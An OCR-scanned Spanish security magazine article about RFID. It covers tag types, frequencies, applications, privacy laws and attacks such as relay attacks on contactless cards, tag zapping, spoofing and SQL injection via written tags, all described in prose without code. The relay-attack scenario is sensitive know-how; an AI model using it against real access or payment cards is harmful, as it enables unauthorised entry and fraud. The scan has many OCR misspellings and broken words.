Lo que deberias saber...

»  Mociones Basicas de medios fisicos de comuni-
cacion inalambrica;

« Mociones Basicas de seguridad en Infragstruc-
tura de aplicaciones Web.




que pueden contener, el lipo de
funcionamiente y su durabilidad.
Existen tres tipos:

« Efiquetas Pasivas — Estas operan
en la Frecuencia de los 13,56
MHZ v no tienen fuente de ener-
gia interna, sino que la pequefia
corriente inducida en la antena,
brindada por la sefial entrante
de la frecuencia radial, produce
la energia suficiente para que el
circuite integrado, pueda encen-
derse y comenzar a transmitir
(Backscafter). Estas etiquetas son
las de menos tamafio, por ende las
mas |ivianas y con una vida 0til que
puede ir hasta los 99 afios;

= Eliquetas Semipasivas — Son muy
similares a las eliquetas Pasivas,
salvo por el agregado de una pe-
quefia bateria, esta bateria man-
tiene una corriente continua en
la memoria no volatil del circuito
integrado, per lo cual la antena no
debe preocuparse por recolectar
la dicha corriente. La antena esta
mas optimizada a su funcién de
transmision de radio frecuencia
lo cual hace que sea mas rapida
y robusta que los Tags Pasivos,

« Eliguelas Activas — Las elique-
tas activas poseen su propia
fuente de energia y son capaces
de alcanzar mayores distancias
(10 metros aproximadamente),
a poseer una bateria su vida
Otil de es de hasta 10 afos,
e@stos economizan el consumo
de energia, trabajando en inter-
valos definidos de operacion,

RFID

RFID - Tipos

de Frecuencias

Existen distintas frecuencias en las
que |os sistemas de RFID, pueaden
operar, cada una de ellas representa
distintos pro y contras en base a su
aplicacion.

Low Frequency (125 a 134.2
kHz vy de 140 a 148.5 kHz)

Las etiguetas y lectoras de baja
frecuencia, se encuentran tipica-
mente en tarjetas utilizadas para
el control de acceso (Contact less
Smartcards). La distancia en este
caso es muy acotada y esta limitada
a centimetros.

High Frequency (13.56 MHz)
Esta frecuencia opera en distan-
cias de hasta un metro y se utiliza
tipicamente en la |dentificacion de
productos o personas (Pacientes,
Convictos y otros).

Uitra-High Frequency (915
MHz, 433.92 MHz. o 315 MHz)
Dependiendo la tecnologia pueden
llegar a operar en una distancia de
hasta 10 Metros o mas, tipicamente
esta tecnologia es la que se utiliza
para las cadenas de distribucion
y abastecimiento.

Microwaves

Utilizadas para grandes distancias
y mayor velocidad, operan en el ran-
go que va de los 30 melros a los 100
metros, un lugar donde se la utiliza
suele ser por ejemplo los sistemas de
pase automatico de las autopistas.

RFID Reader H
Interfaca E

Figura 1. Arquitectura Béasica

Aplicaciones de RFID
Hoy en dia, existen numerosas apli-
caciones para estas tecnologias (Ver
Figura 3 y 4), pero la mas creciente,
es el que esta bajo el estandar EPC
(Electronic Product Code), utilizada
en |la identificacion de productos, la
cual brinda una clave Unica para un
producto o ballet, que permite deta-
llar informacion sobre &l mismao, en
cualquier momento de la cadena de
abastecimiento.

Adicionalmente, entre otras apli-
caciones podemos mencionar las
siguientes:

= Implementaciones  ganaderas,
para la identificacion de ganado,
su historial, sus progenitores, sus
descandientas y su produccion;

+ |dentificacion en medicamentos
de la fecha de vencimiento o bien
la informacién sobre los efectos
secundarios del mismo;

* Medios de pago -electronico
(Mastercard Paypass),

+ |dentificacion de pacientes;

+ |dentificacién de convictos;

* |dentificacién de billetes de alta
denominacion;

+ |dentificacién de pasaportes;

« |dentificacidn de registros de
conducir;

» |dentificacion de entradas a even-
tos deportivos y espectaculos
(Mundial Alemania 2006);

» Sistermas de Control de acceso;

= Ofras, muchas olras aplicacio-
nes...

Podemos agregar a esto, que ya
existen implementaciones de RFID
mandatorias, por ejemplo entre algu-
nas de las empresas y organizacio-
nes que han emitido su mandato de
implementacion podemos mencionar

Fi.gura 2. .'.:;t;:queta RFID
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al DOD (Departamento de Defensa
de los Estados Unidos) y a Wal-Mart,
este ultimo, obliga a todos sus Provee-
dores a colocar los Tags de RFID en
todos los productos que tengan como
destino final la Gondola de Wal-Mart,
impactando de esta manera en miles
de compafias alrededor de todo el
mundo. La fecha limite fue postergada
en varias ocasiones, debido a que mu-
chos vendedores tuvieron dificultades
al implementar los sisternas de RFID.

RFID - Riesgos
— Desde |la invasion a la
privacidad hasta SQL
Injection
Tal como mencionamos, en nuestra
introduccion, nos encontramos nue-
vamente en la dificultad de buscar
el equilibrio entre la funcionalidad
de esta tecnologia y los riesgos que
esta puede introducir desde la ptica
de la seguridad de la informacian.
Es por esto gque a continuacion,
haremos un breve andlisis de los
riesgos, desde dos Opticas bien
diferenciadas, por un lado, el tlema
de la privacidad vs RFID y por otro,
desde un punto de vista bien técnico
algunas de las técnicas de ataques
ya presentes contra algunas imple-
mantaciones de esta tecnologia.

RFID - Privacidad

Los especialistas plensan en como
transformar esta tecnologia en Ia
herramienta para poder establecer
y entender el perfil del consumidor
tan buscado y trataran de persona-
lizar sus productos, sus mensajes
y sus descuentos para acrecentar
sus ventas, es por esto que ya, tanto
en Estados Unidos, como asi tam-
bién en algunos lugares de Europa,

Figura 3. Mastercard Paypass

se& han levantado movimientos en
contra de esta tecnologia, argumen-
tando que la misma invade la pri-
vacidad de los ciudadanos, a decir
verdad, esta tipo de cosas nos lleva-
rian a preguntarnos por ejemplo:

* Y si comprase medicamentos
RFID-tagged, como por ejemplo
anti-depresivos, ;quisiera que
alguien que pase caminando a mi
lada {& no tan a mi ladao) lo sepa?

* Y si estoy en mi casa, y alguien
pasa con su auto y un lector de
RFID, ipuede determinar todo
lo que he comprado hasta el
momento y establecer mis carac-
teristicas de consumidor?

* ¥ con esta lecnologia en mi ropa,
ialguien puede determinar con
precision donde encontrarme?

Igualmente, y con sinceridad, si no-
solros  continuamente compramos
con tarjetas de créditos, ulilizamos
tarjetas shopping para los descuen-
tos, damos nuestros datos a cambio
de una remera de Merchandising de
una compafia, permitimos a las pa-
ginas Web, setear cookies en nues-
tras PCs... y siendo que todo esto
permite potencialmente realizar un
seguimiento sobre nosotros, hacer un
estudio de nuestros consumos, poder
ubicarnos en un determinado mo-
mento... jDe que nos preocupamos
entonces con el RFID?, en fin si bien,

quizas este conflicto se demore un
tiempo en llegar por estos lados, en el
pais del norte ya existe gran cantidad
de legislacion encargada de proteger
la privacidad de los consumidores y
otros aspectos relacionados con la
utilizacion de la tecnologia RFID.

Enfre algunas de las leyes exis-
tentes podemos mencionar las si-
guientes, a modo de ilustrar un poco
mas la relevancia que se le da a esta
problematica:

California - SB1834

Resftringe la manera en que los
comercios de California utilizan los
Tags de RFID, en pos de que los
tags de sus productos no sean uti-
lizados para la identificacion de un
individuo. Junio 25, 2005.

Massachussets

- HB 1447, SB 181

Requiere de la advertencia al usuario
sobre la existencia de Etiquetas de
RFID en los productos que adquiere,
como asi también, indicar el procedi-
miento para realizar la remocion del
mismo, por otro lado limita la infor-
macion de la eliqueta a aspectos de
inventario solamente.

New Hampshire - HB 203
Reguiere la comunicacidn escrita
o verbal, por parte del comercio de
que el producto que vende contiene
una etiqueta.

Card

e,

Figura 4. Pasaporte con RFID
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rhode Island - HB 5929

Prohibe la utilizacién de RFID, para
la identificacidn y el seguimiento de
Estudiantes, empleados y clientes
con fines que beneficien al negocio.

Utah — HB 185
Enmienda la ley de delitos informaticos
para |a inclusion de la tecnologia RFID.

RFID

— Riesgos Técnicos

Los sistemas RFID, se relacionan
con varios procesos criticos, como
el control de acceso fisico, el segui-
miento de productos, los sistemas de
pago y otros mas.

Si bien, como vimos, los riesgos
mas publicitados de esta tecnologia
se relacionan con la privacidad, a con-
tinuacion veremos algunos ofros, que
también deberian ser considerados.

« Relay Aftacks en tarjetas de
proximidad;

* Destruccion del TAG y Preven-
cion de Lectura;

+  RFID - SQL Injection;

*  RFID - Virus:

- Algoritmos de Encripcion débiles;
«  Sniffing;

« Spoofing.

RFID - Relay Attacks en
Tarjetas de Proximidad
Un Sistema de Smartcard sin con-
tacto (ISO 14443A), se comunica
con otros disposilivos sin la nece-
sidad de contacto fisico, v lo hace
a fraves de RFID, la tarjeta es pasiva
y es activada por el lector, para reali-
zar la transferencia de datos.

Las iplementaciones de estos
sistermas en Pasaportes, medios de
pago electranico y tarjetas de acceso
( Tipicamente Fisico), esta incremen-
tandose dia a dia y uno de los puntos
mas importantes, en relaciona a esta
tecnologia y a la seguridad es por
un lado su corto rango de operacién
(10 Centimetros aproximadamente)
¥ por otro, el hecho de que la comu-
nicacion entre un extremo y el ofro
va cifrada (Ver Figura 4).

Lo que se halogrado en un estudio
llevado a la cabo por la Universidad
de Tel Aviv (lsrael), es que creando

Figura 5. Smarfcard Relay Attack

un lector falso (Leech) y una tarjeta
falsa (Ghosi), uno podria impersionar
un usuario 0 una transaccién, practi-
camente sin limites de distancia.

El concepto de esta ataque nace
en base a un ataque basado en me-
mory cards, las cuales no tienen la
capacidad de procesar la informacién
y almacenan la misma en una banda
magneética, que es leida y procedida
por el lector, mediante un POST Inter-
ceplor y gracias a la utilizacion de al-
goritmas de Encripcion débiles Static
Data Authentication (SDA), la informa-
cion de la tarjeta y el pin era almace-
naco en el POST Interceptor para una
posterior utilizacidn fraudulenta.

Es en base a lo anlerior, a Ia
creciente implementacién de smart
cards, y a sus variados usos es gue
los atacantes optan por el Ataque
de Relay y utilizan la informacién en
Real Time,

Pongamos un ejemplo, un usuario
de una organizacion, que cuente con
una smarlcard confaciiess, para el
acceso fisico a una area restringida,
lipicamente podria llevar su tarjeta
colgando en la cintura como habitual-
mente se hace, este podria ser sor-
prendido por un potencial atacante, en
un recinto donde exista poco espacio
y gran cantidad de gente (Ascensor,
Subterranea), alli el potencial atacante
podria acercarse lo suficiente, como
para lograr activar el smartcard del
usuano, mediante un Smariphone.
Modificado para actuar y emular a un
lector (Leech), una vez logrado esto, el
atacante transmitird en tiempo real via
GRPS, los datos a olros dispositive
similar, en este caso, la tarjeta falsa
(Ghost), la cual por ullimo y estando
cerca del lector orginal, transmitira los
datos recibidos vy brindara acceso al
intruso al area restringida 9Ver Figura
5). Es importante destacar, que en la
mayoria de este tipo de atagues, la
distancia no importa, como asi tam-
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poco el cifrada de datos, yaque en la
mayoria de los casos este no detecta
el MITM (Man in The Middle).

RFID - Destruccion
del TAG
Este tipo de ataque, requiere poco co-
nocimiento técnico para ser realizado,
la idea del mismo es destruir el tag
pasivo colocado en un producto, de
manera que este no pueda ser identi-
ficado, ni tampoco se permita realizar
5u seguimiento, tipicamenta este tipo
de acciones esta motivada en defensa
de la privacidad de los consumidares
Técnicamente, esto podria llevar-
se adelante cortando la antena o bien
friendo el tag en un microondas, pero
de seguro que el producto también
resultrara destruido, es por eso que
se creo el RFID-Zapper (Figura 6), el
cual utiliza el método del microondas,
pero an una dosis menor, evitando asi
la destruccion del producto, mediante
la generacién de un campo electro-
magnetico fuerte, que desactivara el
chip para siempre,

RFID = Prevencion

de Lectura

La idea de esto, no es desactivar el tag
pasivo, sino la de prevenir su lectura,

RFIDwasher

Figura 6. RFID Zapper

Figura 7. Prevencidn de Lectura
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el fin de esta practica es la proteccion
de |a privacidad, o bien, como hemos
visto anteriormente también podrian
prevenir ataques de Relay contra las
tarjetas de proximidad (Imaginense
cuan cerca podria estar alguien de su
tarjeta en un ascensor).

Existen dos materiales que impi-
den la lectura de RFID el metal y el
agua, pero mucho mas comodo as
darle un nuevo uso al famoso SILVER
TAPE (Figura 7).

RFID - Spoofing

Un atacante podria escribir, en un
TAG en blanco, datos validos que
impersionen a un producto, de he-
cho, ya se realizaron dos alaques
{en ambiente controlado) uno se
baso en sniffear, decifrar y spoofear
un dispositive RFID utilizade para
cargar gasoline y el otro, se ulilizo
para desactivar un sistema de alar-
mas para automobiles basado en la
inmobilizacidn del mismao.

RFID — SQL Injection

Si bien se trata de un ataque ya cono-
cido y muy ulilizado hoy en dia, esta
nueva tecnologia no queda fuera del
alcance del mismo, este ataque se
basa en la inyeccién a la base de
datos (Back-End) de sentencias SQL
especialmente creadas, que podrian
permitir acceder a informacion no
autorizada, realizar modificaciones
o borrar una tabla, entre ofras cosas.

En base a la estructura de una
implementacion RFID (Figura 1),
esto es posible por falta de contro-
les de seguridad adecuados en el
middleware y en la base de datos, en
este tipo de ataques, el potencial in-
truso deberia grabar, previamente, an
un tag en blanco, del tipo active, una
sentencia de SQL previamente arma-
da, con el fin de que cuando este TAG
gea leido por el lector, este pase los
datos al middleware y posteriormente
esta sentencia se ejecute en la base
de datos.

Otro aspecto a tener en cuenta
es |la cantidad de datos que pueden
entrar en un tag, esto no es un limi-
tante ya que con pocas cantidades
de informacion se puede causar un
gran impacto.

De la misma manera que se
imvecla esta sentencia, se han rea-
lizado en ambiente de laboratorios,
prugbas en las cuales se logrd con
exito crear y replicar el primer worm
que utilza la tecnologia RFID.

Por ultimo cabe aclarar que este ti-
po de atagues, no tiene relacion directa
con la tecnologia RFID en si misma, si-
no que al igual que en las aplicacionas
Web v similares, la falta de validacion
de entrada de datos v la falta de me-
iodologias seguras de programacion
hacen que esio sea posible.

Conclusion

Como hemos podido leer, a lo largo
de este articulo, la incorporacion de
nuevas tecnologias, en lo procesos
del negocio, no solo debe contra con
una analisis funcional y econémico,
sino también que la seguridad debe
ser uno de los puntos a tener muy en
cuenta.

La creatividad, que tienen este tipo
de atagues hacen que los controles
da sequridad existentes puedan no
tener sentido, s por eso que cCOmo
profesionales de seguridad tenemos
que desarrollar también el sentido de
la percepcion v la creatividad. Refen-
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hard Hancke & Dr Markus Kuhn;

«  Low Cost Attacks on Tamper Re-
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& Markus Kuhn,
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Sacurity Analysis in Semicon-
ductors - Sergi Skorobogatov;
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